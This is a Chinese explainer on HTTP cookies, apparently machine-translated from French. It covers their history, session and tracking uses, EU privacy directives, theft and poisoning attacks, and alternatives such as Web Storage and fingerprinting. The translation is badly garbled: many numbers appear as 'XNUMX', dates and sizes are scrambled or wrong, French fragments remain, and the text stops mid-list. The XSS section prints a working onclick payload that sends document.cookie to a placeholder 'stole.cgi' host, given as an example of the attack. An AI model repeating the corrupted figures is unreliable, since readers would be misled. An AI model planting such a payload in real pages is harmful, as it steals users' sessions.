互联网 Cookie：它是什么？ 定义、起源、类型和隐私

Un cookie 或 web cookie （或 曲奇饼，简写为 见证 在魁北克）由 HTTP 通信协议定义为由 HTTP 服务器发送到 HTTP 客户端的一系列信息，后者在特定条件下每次查询同一 HTTP 服务器时返回该信息。

cookie 相当于一个 存储在终端上的小文本文件 的互联网用户。 已有 20 多年的历史，它们允许网站开发人员存储用户数据，以方便他们的导航并允许某些功能。 Cookie 一直或多或少存在争议，因为它们包含可能被第三方利用的残留个人信息。

它作为 HTTP 标头由 Web 服务器发送到 Web 浏览器，浏览器每次访问服务器时都将其原封不动地返回。 cookie 可用于 认证, 一个会话 （状态维护），以及 存储有关用户的特定信息，例如站点首选项或电子购物车的内容。 cookie一词来源于 魔法饼干，UNIX 计算中的一个著名概念，它激发了浏览器 cookie 的想法和名称。 存在一些 cookie 的替代品，每种都有自己的用途、优点和缺点。

作为简单的文本文件，cookie 不可执行。 他们不是 既不是间谍软件也不是病毒，尽管来自某些站点的 cookie 会被许多防病毒软件检测到，因为它们允许用户在访问多个站点时被跟踪。 

大多数现代浏览器允许用户 决定是否接受或拒绝 cookie. 用户还可以 选择 cookie 的存储时间. 但是，完全拒绝 cookie 会使某些站点无法使用。 例如，存储需要使用凭据（用户名和密码）登录的购物车或网站。

历史的

该浴场 饼干 源自英语术语 魔法饼干，这是程序接收并返回的数据包。 Cookie 已在 IT 中使用 卢蒙图里 有想法在网络通信中使用它们 在1994年XNUMX月 当时，他受雇于为客户开发电子商务应用程序的 Netscape Communications。 Cookies 解决了商店虚拟购物车实施的可靠性问题。

同年，John Giannandrea 和 Lou Montulli 编写了 Netscape 的第一个 cookie 规范。 0.9 年 13 月 1994 日发布的 Mosaic Netscape XNUMX beta 版，集成了 饼干技术 (见帖子). cookie 的第一个（非实验性）用途是确定 Netscape 网站的访问者之前是否访问过该网站。 Montulli于1995年提交了曲奇技术的专利申请，并获得美国专利5774670。 1998年授予.

0.9 年在 Netscape 1994 beta 中实施后，cookie 被集成到 2 年 1995 月发布的 Internet Explorer XNUMX 中。

cookie 的引入尚未为公众所广泛知晓。 特别是，cookie 在浏览器设置中默认被接受，用户不会被告知它们的存在。 1995年第一季度左右有人知道cookies的存在，但直到12年1996月1996日英国《金融时报》发表文章后，大众才知道cookies的存在。同年，cookies受到媒体广泛关注因为可能侵犯隐私。 美国联邦贸易委员会在 1997 年和 XNUMX 年的两次磋商中讨论了 cookie 的主题。

官方 cookie 规范的开发已经在进行中。 官方规范的第一次讨论发生在 1995 年 1996 月的 www-talk 邮件列表上。 一个专门的 IETF 工作组成立了。 Brian Behlendorf 和 David Kristol 分别提出了两个将状态引入 HTTP 事务的备选方案，但由 Kristol 本人领导的小组决定使用 Netscape 的规范作为起点。 XNUMX 年 XNUMX 月，工作组确定第三方 cookie 是对隐私的重大威胁。 该小组制定的规范最终发布为 RFC 2109.

从 2014 年底开始，我们在许多网站上看到了关于 cookie 的横幅。 至少有一个浏览器扩展允许 未显示横幅.

Cookie 的类型和用途

会话管理

Cookie 可用于在导航期间维护用户数据，也可用于多次访问。 引入 Cookie 是为了提供一种实现电子购物车的方法，这是一种虚拟设备，用户可以在浏览网站时在其中累积他想要购买的商品。

如今，购物车等应用程序将商品列表存储在服务器的数据库中，这是更可取的； 而不是将它们保存在 cookie 本身中。 Web 服务器发送一个包含唯一会话 ID 的 cookie。 然后，Web 浏览器会在每个后续请求中返回此会话 ID，购物篮中的商品将被保存并与此相同的唯一会话 ID 相关联。

频繁使用 cookie 对于使用凭据登录站点非常有用。 简而言之，Web 服务器首先发送一个包含唯一会话 ID 的 cookie。 然后用户提供他们的凭据（通常是用户名和密码）。 然后，Web 应用程序对会话进行身份验证并允许用户访问该服务。

个性化

Cookie 可用于记住有关站点用户的信息，以便将来向他显示适当的内容。 例如，网络服务器可以发送一个 cookie，其中包含用于登录该网站的最后一个用户名，这样用户名就可以在以后的访问中预先填充。

许多网站使用 cookie 来根据用户偏好进行个性化设置。 用户在表单中选择他们的偏好并将它们提交给服务器。 服务器在 cookie 中对首选项进行编码并将其发送回浏览器。 随后，每次用户访问该站点的页面时，浏览器都会返回 cookie，从而返回偏好列表； 然后服务器可以根据用户的喜好定制页面。 例如，维基百科网站允许其用户选择他们喜欢的网站的皮肤。 Google 搜索引擎允许其用户（即使他们没有注册）选择他们希望在每个结果页面上看到的结果数量。

追踪

跟踪 cookie 用于跟踪互联网用户的浏览习惯。 这也可以通过使用发出页面请求的计算机的 IP 地址或使用客户端随每个请求发送的“引荐来源网址”HTTP 标头来部分完成，但 cookie 允许更高的精度。 这可以按照以下示例完成：

1. 如果用户调用站点上的页面，并且请求不包含 cookie，则服务器假定这是用户访问的第一个页面。 服务器然后创建一个随机字符串并将其与请求的页面一起发送到浏览器。
2. 从这一刻起，每次调用站点的新页面时，浏览器都会自动发送 cookie。 服务器将照常发送页面，但也会在日志文件中记录调用页面的 URL、请求的日期、时间和 cookie。

通过查看日志文件，可以了解用户访问了哪些页面以及访问的顺序。 例如，如果文件包含一些使用 id=abc cookie 发出的请求，则可以确定所有这些请求都来自同一用户。 请求的 URL、与请求关联的日期和时间允许跟踪用户的浏览。

第三方 cookie 和网络信标，如下所述，还可以跨不同站点进行跟踪。 单一站点跟踪通常用于统计目的。 相比之下，广告公司通常使用第三方 cookie 跨不同站点进行跟踪来生成匿名用户配置文件（然后用于确定应向用户显示哪些广告以及向他发送与这些广告相对应的电子邮件——垃圾邮件).

跟踪 cookie 存在侵犯用户隐私的风险，但可以轻松删除。 大多数现代浏览器都包含一个选项，可以在关闭应用程序时自动删除持久性 cookie。

第三方 cookie

网页中包含的图像和其他对象可能驻留在与托管该网页的服务器不同的服务器上。 为了显示页面，浏览器下载所有这些对象。 大多数网站包含来自不同来源的信息。 例如，如果您在浏览器中输入 www.example.com，页面的一部分上通常会有来自不同来源的对象或广告，即来自与 www..example.com 不同的域。 “第一”方 cookie 是由浏览器地址栏中列出的域设置的 cookie。 第三方 cookie 由来自不同域的页面对象之一设置。

默认情况下，Mozilla Firefox、Microsoft Internet Explorer 和 Opera 等浏览器接受第三方 cookie，但用户可以更改浏览器选项中的设置以阻止它们。 启用网络功能的第三方 cookie 没有固有的安全风险，但它们也用于跟踪用户。 从一个站点到另一个站点.

适用于包括 Google Chrome 在内的所有浏览器的 Ghostery 等工具可以阻止第三方之间的交换。

执行

Cookies 是网络服务器发送给浏览器的一小段数据。 浏览器将它们原封不动地返回给服务器，将状态（过去事件的记忆）引入到其他无状态的 HTTP 事务中。 如果没有 cookie，每次检索网页或网页组件都是一个孤立的事件，独立于对同一站点的其他请求。 除了能够被网络服务器设置之外，如果浏览器支持和授权，cookies也可以被JavaScript等脚本语言设置。

官方 cookie 规范建议浏览器应该能够保存和重新发送最少数量的 cookie。 具体来说，浏览器应该能够存储至少 300 个 cookie，每个 20 KB，并且至少 XNUMX 个 cookie 用于单个服务器或域。

根据第 3.1 节 RFC 2965, cookie 名称不区分大小写。

cookie 可以指定其到期日期，在这种情况下，cookie 将在该日期被删除。 如果 cookie 没有指定到期日期，则一旦用户离开浏览器，cookie 就会被删除。 因此，指定到期日期是使 cookie 在多个会话中存活的一种方法。 因此，具有过期日期的 cookie 被称为 一贯. 示例应用程序：零售站点可能使用持久性 cookie 来记录用户放入购物车的商品（实际上，cookie 可能指的是保存在销售站点数据库中的条目，而不是您计算机中的条目） . 通过这种方式，如果用户没有购买就离开了浏览器并稍后返回浏览器，他们将能够再次找到购物车中的商品。 如果这些 cookie 没有给出失效日期，它们将在浏览器关闭时失效，并且有关购物篮内容的信息将会丢失。

Cookie 的范围可以限制在创建它们的服务器上的特定域、子域或路径。

创建一个cookie

网页的传输是使用超文本传输​​协议 (HTTP) 完成的。 通过忽略 cookie，浏览器通常会向 Web 服务器发送一段名为 请求. 例如，要访问页面 www.example.org/index.html，浏览器连接到服务器 www.example.org 并发送如下所示的请求：

	GET /index.html HTTP/1.1 主机：www.example.org
航海家	→	serveur

服务器通过发送请求的页面来响应，前面是类似的文本，整个被称为 HTTP响应. 此数据包可能包含指示浏览器存储 cookie 的行：

	HTTP/1.1 200 OKContent-type: text/htmlSet-Cookie: name=value （HTML 页面）
航海家	←	serveur

如果服务器希望浏览器存储 cookie，则服务器仅发送 Set-Cookie 行。 Set-Cookie 是请求浏览器存储 name=value 字符串，并在以后对服务器的所有请求中返回它。 如果浏览器支持 cookie 并且在浏览器选项中启用了 cookie，则 cookie 将包含在对同一服务器发出的所有后续请求中。 例如，浏览器通过向服务器 www.example.org 发送以下请求来调用页面 www.example.org/news.html：

	GET /news.html HTTP/1.1Host: www.example.orgCookie: name=valueAccept: */*
航海家	→	serveur

这是对来自同一服务器的另一个页面的请求，与上面的第一个不同，因为它包含服务器先前发送给浏览器的字符串。 通过这种方式，服务器知道这个请求链接到前一个请求。 服务器通过发送被调用的页面以及向其添加其他 cookie 来响应。

服务器可以通过发送新行 Set-Cookie: name=new_value 响应调用的页面来更改 cookie 的值。 然后浏览器用新值替换旧值。

Set-Cookie 行通常由 CGI 程序或其他脚本语言创建，而不是由 HTTP 服务器创建。 HTTP 服务器（例如：Apache）只会将程序的结果（包含 cookie 的标头前面的文档）传输到浏览器。

Cookie 也可以通过在浏览器中运行的 JavaScript 或其他类似语言来设置，即在客户端而不是服务器端。 在 JavaScript 中，document.cookie 对象用于此目的。 例如，语句 document.cookie = "temperature=20" 创建一个名为 "temperature" 且值为 20 的 cookie。

cookie 的属性

除了名称/值对之外，cookie 还可以包含到期日期、路径、域名和预期的连接类型，即正常或加密。 RFC 2965 也定义了 cookie 必须有一个强制性的版本号，但是这个通常被省略。 这些数据部分跟在 name=new_value 对之后，并用分号分隔。 例如，服务器可以通过发送 Set-Cookie 行来创建一个 cookie：name=new_value； 过期=日期； 路径=/; 域=.example.org。

cookie 过期

在以下情况下，Cookie 会过期，浏览器不会将其发送到服务器：

• 当浏览器关闭时，如果 cookie 不持久。
• 当 cookie 过期日期已过。
• 当 cookie 到期日期（由服务器或脚本）更改为过去的日期时。
• 当浏览器应用户要求删除cookie时。

第三种情况允许服务器或脚本显式删除一个cookie。 请注意，使用 Google Chrome 网络浏览器可以通过访问内容设置来了解特定 cookie 的到期日期。 如果不采取任何措施将其删除，保存在计算机上的 cookie 很可能会保留数十年。

刻板印象

自从在 Internet 上推出以来，有关 cookie 的许多想法已在 Internet 和媒体中流传。 1998 年，美国能源部计算机事件监测小组 CIAC 确定 cookie 安全漏洞“基本上不存在”，并解释说“有关您访问来源的信息和您访问过的网页的详细信息已经存在于 Web 服务器的日志文件中”。 2005 年，Jupiter Research 发布了一项研究结果，其中很大一部分受访者考虑了以下陈述：

• 饼干就像 病毒，它们会感染用户的硬盘。
• Cookie 生成 弹出式.
• Cookie 用于发送 垃圾邮件.
• Cookie 仅用于广告。

Cookie 无法从用户的计算机中删除或读取信息。 但是，cookie 可以检测用户在给定站点或站点集上访问的网页。 这些信息可以收集在可以使用或转售给第三方的用户配置文件中，这可能会造成严重的隐私问题。 有些个人资料是匿名的，因为它们不包含任何个人信息，但即使是这样的个人资料也可能有问题。

根据同一项研究，很大一部分互联网用户不知道如何删除 cookie。 人们不信任 cookie 的原因之一是某些网站滥用了 cookie 的个人识别功能，并与其他来源共享此信息。 很大一部分定向广告和未经请求的电子邮件（被视为垃圾邮件）来自跟踪 cookie 收集的信息。

浏览器设置

大多数浏览器都支持 cookie 并允许用户禁用它们。 最常见的选项是：

• 完全启用或禁用 cookie，以便它们不断被接受或阻止。
• 通过在浏览器的地址栏中输入 javascript: alert(document.cookie) 允许用户查看给定页面中的活动 cookie。 一些浏览器为用户整合了一个 cookie 管理器，用户可以查看和有选择地删除浏览器当前存储的 cookie。

大多数浏览器还允许完全删除包括 cookie 在内的个人数据。 还存在用于控制 cookie 权限的其他模块。

隐私和第三方 Cookie

在这个虚构的例子中，一家广告公司在两个网站上放置了横幅。 通过在其服务器上托管横幅广告并使用第三方 cookie，广告公司能够跟踪用户在这两个网站上的浏览情况。

Cookie 对网络用户的隐私和匿名具有重要意义。 尽管 cookie 仅被发送回设置它们的服务器或属于同一 Internet 域的服务器，但是网页可能包含存储在属于其他域的服务器上的图像或其他组件。 在恢复这些外部组件期间设置的 cookie 称为 第三方 cookie. 这包括来自不需要的弹出窗口的 cookie。

广告公司使用第三方 cookie 来跟踪用户访问的不同站点。 特别是，广告公司可以在其放置广告图像或跟踪像素的所有页面上跟踪用户。 了解用户访问过的页面可以让广告公司确定用户的广告偏好。

一些人认为建立用户配置文件的能力是对隐私的侵犯，尤其是在使用第三方 cookie 跨不同域进行跟踪时。 出于这个原因，一些国家制定了 cookie 立法。

美国政府在 2000 年对 cookie 的放置实施了严格的规定，此前有消息称白宫药物政策办公室正在使用 cookie 来跟踪查看在线药物广告的用户的计算机。 2002 年，隐私活动家丹尼尔·勃兰特 (Daniel Brandt) 发现中央情报局 (CIA) 在访问过其网站的计算机上留下了持久性 cookie。 一旦获悉此违规行为，中央情报局宣布这些 cookie 不是有意发送的，并停止设置它们。 25 年 2005 月 XNUMX 日，Brandt 发现国家安全局 (NSA) 由于软件更新而在访问者的计算机上留下了两个持久性 cookie。 接到通知后，NSA 立即禁用了 cookie。

在英国， 饼干法 ”，于 25 年 2012 月 XNUMX 日生效，要求网站声明其意图，从而允许用户选择是否要在互联网上留下痕迹。 因此可以保护它们免受广告定位。 然而， 根据 守护者，互联网用户的同意不一定是明确的； 对用户同意条款进行了更改，使其成为 因此暗示.

关于隐私的第 2002/58 号指令

指令 202/58 隐私和电子通信，包含有关使用 cookie 的规则。 特别是，该指令第 5 条第 3 款要求只有在以下情况下才能在用户计算机中存储数据（例如 cookie）：

• 用户被告知数据是如何使用的；
• 用户可以选择拒绝此存储操作。 但是，这篇文章还指出，出于技术原因的数据存储不受本法约束。

该指令原定于 2003 年 2004 月实施，但根据 XNUMX 年 XNUMX 月的一份报告，该指令的实施非常不完善，该报告还指出，某些成员国（斯洛伐克、拉脱维亚、希腊、比利时和卢森堡）尚未转换指令转化为国内法。

根据 29 国集团在 2010 年的意见，该指令特别规定在互联网用户明确同意的情况下将 cookie 用于行为广告目的，但应用仍然很差。 事实上，大多数网站以不符合该指令的方式这样做，他们将自己限制在一个简单的“横幅”上，通知“cookies”的使用，而不提供有关使用的信息，也不区分“技术”cookies。 “跟踪”cookies，也不向希望保留技术cookies（如购物车管理cookies）和拒绝“跟踪”cookies的用户提供真正的选择。 事实上，如果拒绝 cookie，许多网站将无法正常运行，这不符合指令 2002/58 或指令 95/46（个人数据保护）。

指令2009/136 / CE

本材料已根据 2009 年 136 月 25 日发布的指令 2009/95/EC 进行了更新，其中规定“仅在以下条件下才允许在订户或用户的终端设备中存储信息或获取已存储信息的访问权限：订户或用户在收到符合指令 46/XNUMX/EC 的明确且完整的信息后，已同意其他人关于处理目的的信息”。 因此，新指令加强了在互联网用户计算机上放置 cookie 之前的义务。

然而，在该指令的初步考虑中，欧洲立法者规定：“在技术上可行且有效的情况下，根据指令 95/46/EC 的相关规定，用户对处理的同意可以通过使用浏览器或其他应用程序的适当设置”。 但事实上，迄今为止，还没有浏览器能够将基本技术 cookie 与应留给用户选择的可选 cookie 分离。

这项新指令于 2012 年 2014 月由比利时国会议员转换。XNUMX 年的一项研究表明，即使是国会议员也很难申请 指令的约束.

P3P

P3P 规范包括服务器声明隐私策略的能力，该策略定义了它收集何种信息以及出于何种目的。 这些政策包括（但不限于）使用通过 cookie 收集的信息。 根据P3P的定义，浏览器可以通过将隐私政策与用户的偏好进行比较，或者通过询问用户，出示服务器声明的隐私政策隐私声明，来接受或拒绝cookies。

许多浏览器，包括 Apple Safari 和 Microsoft Internet Explorer 版本 6 和 7，都支持 P3P，它允许浏览器决定是否接受第三方 cookie 存储。 Opera 浏览器允许用户拒绝第三方 cookie 并为 Internet 域创建全局和特定的安全配置文件。 Mozilla Firefox 第 2 版放弃了 P3P 支持，但在第 3 版中恢复了它。

大多数浏览器都可以阻止第三方 cookie，以增加隐私并减少广告跟踪，而不会对用户的网络体验产生负面影响。 许多广告公司提供了一个选项 选择退出 有针对性的广告，通过在浏览器中设置一个通用 cookie 来停用此目标，但这种解决方案实际上并不有效，当它被尊重时，因为一旦用户删除这些取消选择的 cookie，这个通用 cookie 就会被删除出决定。

饼干的缺点

除了隐私问题之外，cookie 还存在一些技术缺陷。 特别是，它们并不总能准确识别用户，大量使用时会降低站点性能，可用于安全攻击，并且与典型的状态转移、软件架构风格相冲突。

不准确的识别

如果在一台计算机上使用多个浏览器，则每个浏览器中始终有一个单独的 cookie 存储单元。 因此，Cookie 不识别个人，而是用户帐户、计算机和网络浏览器的组合。 因此，任何人都可以使用这些包含大量 cookie 的帐户、计算机或浏览器。 同样，cookie 不会区分共享同一用户帐户、计算机和浏览器的多个用户，例如在“网吧”或任何可以免费访问计算机资源的地方。

但在实践中，这种说法在大多数情况下被证明是错误的，因为今天“个人”计算机（或智能手机或平板电脑，更糟糕）主要由一个人使用。这相当于针对特定的人和通过收集的信息量实现个性化定位，即使这个人没有被“即”识别出来。

窃取cookie

cookie 可能会被网络上的另一台计算机窃取。

在正常操作期间，cookie 在服务器（或同一域中的一组服务器）和用户的计算机浏览器之间发回。 由于 cookie 可以包含敏感信息（用户名、用于身份验证的密码等），因此其他计算机不应访问它们的值。 Cookie 盗窃是未经授权的第三方拦截 cookie 的行为。

在称为会话劫持的攻击中，可以通过数据包嗅探器窃取 Cookie。 网络上的流量可能会被发送和接收计算机以外的计算机拦截和读取（尤其是在未加密的公共 Wi-Fi 空间中）。 此流量包括使用纯 HTTP 协议通过会话发送的 cookie。 当网络流量未加密时，恶意用户可以使用“数据包嗅探器”读取网络上其他用户的通信。

这个问题可以通过使用 HTTPS 协议加密用户计算机和服务器之间的连接来解决。 服务器可以指定一个 安全标志 在设置 cookie 时； 浏览器只会通过安全线路（例如 SSL 连接）发送它。

然而，许多网站虽然使用 HTTPS 加密通信进行用户身份验证（即登录页面），但出于效率原因，后来通过未加密的 HTTP 连接正常发送会话 cookie 和其他数据。 因此，攻击者可以拦截其他用户的 cookie 并在适当的站点上冒充它们或在 cookie 攻击中使用它们。

站点中的脚本：只应在服务器和客户端之间交换的 cookie 被发送给另一个第三方。

窃取 cookie 的另一种方法是编写站点脚本，让浏览器本身将 cookie 发送到从未接收到它们的恶意服务器。 现代浏览器允许从服务器执行受欢迎的代码部分。 如果在运行时访问 cookie，它们的值可能会以某种形式传递给不应访问它们的服务器。 在通过网络发送 cookie 之前对其进行加密无助于阻止攻击。

攻击者通常会在允许用户发布 HTML 内容的网站上使用这种类型的站内脚本。 通过在 HTML 贡献中集成部分兼容代码，攻击者可以接收来自其他用户的 cookie。 可以通过使用被盗 cookie 连接到同一站点来使用对这些 cookie 的了解，从而将其识别为 cookie 被盗的用户。

防止此类攻击的一种方法是使用 HttpOnly 标志； 这是一个选项，从 Internet Explorer 版本 6 开始在 PHP 5.2.0 版本中引入，计划使靠近脚本的客户端无法访问 cookie。 然而，Web 开发人员应该在他们的网站开发中考虑到这一点，这样他们就不会受到网站脚本的影响。

使用的另一个安全威胁是站点中的需求伪造。

官方技术规范只允许将 cookie 发送回它们所在域中的服务器。 但是，可以使用 cookie 标头以外的方式将 cookie 的值发送到其他服务器。

特别是，像 JavaScript 这样的脚本语言通常被允许访问 cookie 值，并且能够将任意值发送到互联网上的任何服务器。 此脚本功能用于允许用户发布 HTML 内容供其他用户查看的网站。

例如，在 example.com 域上运行的攻击者可能会发布包含以下链接的评论，该链接指向他们无法控制的热门博客：

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

当另一个用户单击此链接时，浏览器会执行代码的 onclick 属性部分，因此它会将 document.cookie 字符串替换为对此页面处于活动状态的用户 cookie 列表。 因此，这个 cookie 列表被发送到 example.com 服务器，攻击者因此能够收集该用户的 cookie。

这种类型的攻击在用户端很难检测到，因为脚本来自设置 cookie 的同一个域，发送值的操作似乎是由该域授权的。 人们认为，运营此类站点的管理员有责任实施限制以防止发布恶意代码。

如果 Cookie 是使用 HttpOnly 标志发送的，则 Cookie 对客户端程序（如 JavaScript）不直接可见。 从服务器的角度来看，唯一的区别是在 Set-Cookie 标头的行中添加了一个包含字符串 HttpOnly 的新字段：

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

当浏览器收到这样的 cookie 时，它​​应该在接下来的 HTTP 交换中正常使用它，但不会让它对客户端执行的脚本可见。 HttpOnly 标志不是任何官方技术规范的一部分，也没有在所有浏览器中实现。 请注意，目前没有办法阻止通过 XMLHTTPRequest 方法读取和写入会话 cookie。

修改内容：攻击者向服务器发送无效的 cookie，可能由服务器发送的有效 cookie 制成。

更改 cookie

一旦需要存储 cookie 并将其原封不动地返回到服务器，攻击者就可以在将 cookie 发送回服务器之前修改 cookie 的值。 例如，如果 cookie 包含用户必须为商店购物车中的商品支付的总价值，更改此值会使服务器面临向攻击者收取低于起始价格的风险。 修改cookie值的过程称为 饼干中毒 并且可以在 cookie 盗窃后使用，使攻击持续存在。

在 cookie 覆盖方法中，攻击者利用浏览器故障向服务器发送无效的 cookie。

然而，大多数网站仅在 cookie 本身中存储一个会话 ID——一个随机生成的唯一编号，用于识别会话用户，而所有其他信息都存储在服务器上。 这样一来，这个问题就基本解决了。

网站之间的 Cookie 处理

每个站点都应该有自己的 cookie，因此一个站点不应该能够修改或创建与另一个站点关联的 cookie。 Web 浏览器的安全漏洞可能允许恶意站点打破此规则。 利用这种缺陷通常被称为 跨站点烹饪. 此类攻击的目的可能是窃取会话 ID。

用户应使用几乎消除了这些漏洞的最新版本的 Web 浏览器。

客户端和服务器之间的冲突状态

使用 cookie 可能会在客户端状态和 cookie 中存储的状态之间产生矛盾。 如果用户获取了一个cookie，点击了浏览器的“后退”按钮，浏览器的状态一般与此次获取之前不一样。 例如，如果在线商店的购物车是使用 cookie 创建的，则当用户返回到浏览器历史记录时，购物车的内容不会更改：如果用户按下按钮以在他的购物车中添加商品并单击“返回” "按钮，文章保留在这一篇。 这可能不是用户的本意，用户肯定想取消文章的添加。 这可能会导致不可靠、混乱和错误。 所以 Web 开发人员应该意识到这个问题并采取措施来处理这种情况。

Cookie 过期

持久性 cookie 被隐私安全专家批评为没有设置足够快的过期时间，从而允许网站跟踪用户并随着时间的推移建立他们的个人资料。 cookie 的这一方面也是会话劫持问题的一部分，因为窃取的持久性 cookie 可用于在相当长的一段时间内冒充用户。

还阅读： GAFAM：他们是谁？ 为什么他们（有时）如此可怕？

饼干的替代品

一些可以使用 cookie 执行的操作也可以使用绕过 cookie 或重新创建已删除 cookie 的其他机制来执行，这会以与 cookie 相同的方式（或者有时更糟，因为那时不可见）产生隐私问题。

IP地址

可以使用调用该页面的计算机的 IP 地址来跟踪用户。 自从引入万维网以来，这种技术就已经可用，当下载页面时，服务器会请求运行浏览器或代理的计算机的 IP 地址，如果没有使用的话。 无论是否使用 cookie，服务器都可以跟踪此信息。 然而，这些地址在识别用户方面通常不如 cookie 可靠，因为计算机和代理可能由多个用户共享，并且同一台计算机可能在每个工作会话中收到不同的 IP 地址（例如电话连接的情况） .

在某些情况下，通过 IP 地址进行跟踪可能是可靠的，例如只要电源打开，宽带连接就会长时间保持相同的 IP 地址。

某些系统（如 Tor）旨在保持 Internet 的匿名性，并使通过 IP 地址进行跟踪变得不可能或不切实际。

网址

一种更精确的技术是基于在 URL 中嵌入信息。 URL 的查询字符串部分是一种通常用于此目的的技术，但也可以使用其他部分。 如果未启用 cookie，Java serverlet 和 PHP 会话机制都使用此方法。

此方法涉及 Web 服务器在将请求发送到浏览器时将字符串请求附加到带有它的网页的链接。 当用户点击链接时，浏览器会将附加的查询字符串返回给服务器。

用于此目的的查询字符串与 cookie 非常相似，都是服务器任意选择并由浏览器返回的信息。 但是，有一些区别：当重复使用包含查询字符串的 URL 时，相同的信息会发送到服务器。 例如，如果用户的首选项编码在 URL 的查询字符串中，并且用户通过电子邮件将该 URL 发送给另一个用户，则该用户也将能够使用这些首选项。

另一方面，当用户访问同一个页面两次时，不能保证两次都使用相同的查询字符串。 例如，如果用户第一次从内部站点页面登陆一个页面，然后第二次从外部页面登陆同一页面，则相对于站点页面的查询字符串通常不同，而 cookie 是相同的.

查询字符串的其他缺点与安全性有关：在查询字符串中保留标识会话的数据会启用或简化会话固定攻击、标识符引用攻击和其他攻击。 将会话 ID 作为 HTTP cookie 传递更安全。

隐藏表单域

ASP.NET 使用的一种会话跟踪形式是使用带有隐藏字段的 Web 表单。 这种技术与使用 URL 查询字符串来携带信息非常相似，并且具有相同的优点和缺点； 如果使用 HTTP GET 方法处理表单，则这些字段实际上成为浏览器 URL 的一部分，在提交表单时将发送它。 但是大多数表单是使用 HTTP POST 处理的，这会导致表单信息（包括隐藏字段）作为附加输入添加，既不是 URL 的一部分，也不是 cookie 的一部分。

从跟踪的角度来看，这种方法有两个优点：首先，跟踪放置在 HTML 源代码和 POST 输入中的信息而不是 URL 将使普通用户避免这种跟踪； 其次，当用户复制 URL 时，不会复制会话信息（例如，将页面保存到磁盘或通过电子邮件发送）。

窗口名称

所有常见的 Web 浏览器都可以使用 DOM 的 window.name 属性通过 JavaScript 存储大量数据（2MB 到 32MB）。 此数据可用于代替会话 cookie，也可跨域使用。 该技术可以与 JSON 对象结合使用，以存储一组复杂的客户端会话变量。

缺点是每个单独的窗口或选项卡最初都有一个空的 window.name； 当按选项卡（由用户打开）浏览时，这意味着单独打开的选项卡将没有窗口名称。 此外，window.name 可用于跟踪不同站点的访问者，这可能会引起隐私问题。

在某些方面，这可能比 cookie 更安全，因为服务器不参与，因此使其免受嗅探 cookie 的网络攻击。 但是，如果采取特殊措施来保护数据，它很容易受到进一步的攻击，因为数据可以通过在同一窗口中打开的其他站点获得。

HTTP认证

HTTP协议包括基本的访问认证协议和访问认证摘要，只有在用户给出用户名和密码时才允许访问网页。okay pass。 如果服务器请求证书以授予对网页的访问权限，浏览器会向用户请求它，一旦获得，浏览器就会存储它并在所有后续 HTTP 请求中发送它。 此信息可用于跟踪用户。

本地共享对象

如果浏览器包含 Adob​​e Flash Player 插件，则 本地共享对象 可用于与 cookie 相同的目的。 对于网络开发人员来说，它们可能是一个有吸引力的选择，因为：

• 本地共享对象的默认大小限制为 100 KB；
• 安全检查与用户 cookie 检查是分开的（因此在不允许 cookie 时可以允许本地共享对象）。

最后一点，将 cookie 管理策略与 Adob​​e 本地共享对象的管理策略区分开来 提出问题 关于用户对其隐私设置的管理：他必须意识到他对 cookie 的管理不会影响本地共享对象的管理，反之亦然。

对该系统的另一个批评是，它只能通过专有而非网络标准的 Adob​​e Flash Player 插件使用。

客户端持久化

一些网络浏览器支持基于脚本的持久化机制，允许页面在本地存储信息以备后用。 例如，Internet Explorer 支持以 XML 格式存储的浏览器历史记录、书签或直接将网页保存到磁盘中的持久性信息。 对于 Microsoft Internet Explorer 5，有一种通过 DHTML 行为可用的用户-数据方法。

W3C 在 HTML 5 中引入了一个新的 JavaScript API，用于客户端数据存储，称为 Web 存储，旨在永久取代 cookie。 它类似于 cookie，但容量大大提高，并且不在 HTTP 请求的标头中存储信息。 API 允许两种类型的 Web 存储：localstorage 和 sessionstorage，类似于持久性 cookie 和会话 cookie（除了会话 cookie 在浏览器关闭时过期，同时 会话存储 分别在选项卡关闭时过期）。 Web 存储受 Mozilla Firefox 3.5、Google Chrome 5、Apple Safari 4、Microsoft Internet Explorer 8 和 Opera 10.50 支持。

另一种机制通常依赖于在网页中使用 JavaScript 程序的浏览器缓存（在内存中而不是刷新）。 

例如，页面可以包含标签. La première fois que la page se charge, le programme exemple.js est aussi chargé. 

此时，程序仍保留在高速缓存中，不会重新加载访问过的页面。 因此，如果程序包含一个全局变量（例如 var id = 3243242;），该标识符将保持有效并且可以在页面再次加载或加载链接程序的页面后被其他 JavaScript 代码利用。 

这种方法的主要缺点是 JavaScript 全局变量必须是静态的，这意味着它不能像 cookie 一样被更改或删除。

网络浏览器指纹

浏览器指纹是为识别目的而收集的有关浏览器配置设置的信息。 即使禁用 cookie，这些指纹也可用于完全或部分识别互联网用户或设备。

网站受众服务长期以来一直收集基本的网络浏览器配置信息，以准确测量人类网络流量和检测各种形式的点击欺诈。 在客户端脚本语言的帮助下，更准确的信息收集是 现在可能.

将此信息转换为位串会生成设备指纹。 2010 年，电子前沿基金会 (EFF) 测得浏览器指纹的熵至少为 18,1 bits，那是在画布指纹技术的进步为该熵增加 5,7 位之前。

饼干简而言之

Cookie 是网络浏览器存储在网站访问者硬盘上的小型文本文件，用于（除其他事项外）记录有关访问者或他们浏览网站的信息。 网站管理员因此可以识别访问者的习惯并为每个访问者个性化其网站的呈现； 然后 cookie 可以记住在主页上显示多少篇文章，甚至可以保留任何私人聚会的登录凭据：当访问者返回该站点时，他不再需要输入他的姓名和密码来访问被识别，因为它们会自动读取到 cookie 中。

cookie 的寿命有限，由网站设计者设置。 它们也可以在站点会话结束时过期，这对应于浏览器的关闭。 Cookie 被广泛用于使访问者的生活更轻松，并为他们提供更多相关信息。 但是特殊的技术可以在多个站点上跟踪访问者，从而收集和交叉检查有关他的习惯的非常广泛的信息。 这种方法使 cookie 的使用成为一种侵犯访问者隐私的监视技术，不幸的是，在许多出于非技术原因或不尊重用户期望的使用情况下，这与现实相对应。。

为了应对这些合理的担忧，HTML 5 为客户端数据存储引入了一个新的 JavaScript API，称为 Web 存储，它更安全，容量更大，旨在取代 cookie。

cookies的存储

对于某些浏览器，cookie 很容易编辑，像记事本这样的简单文本编辑器就足以手动更改其值。

Cookie 的保存方式因浏览器而异：

• Microsoft Internet Explorer中 将每个 cookie 保存在不同的文件中；
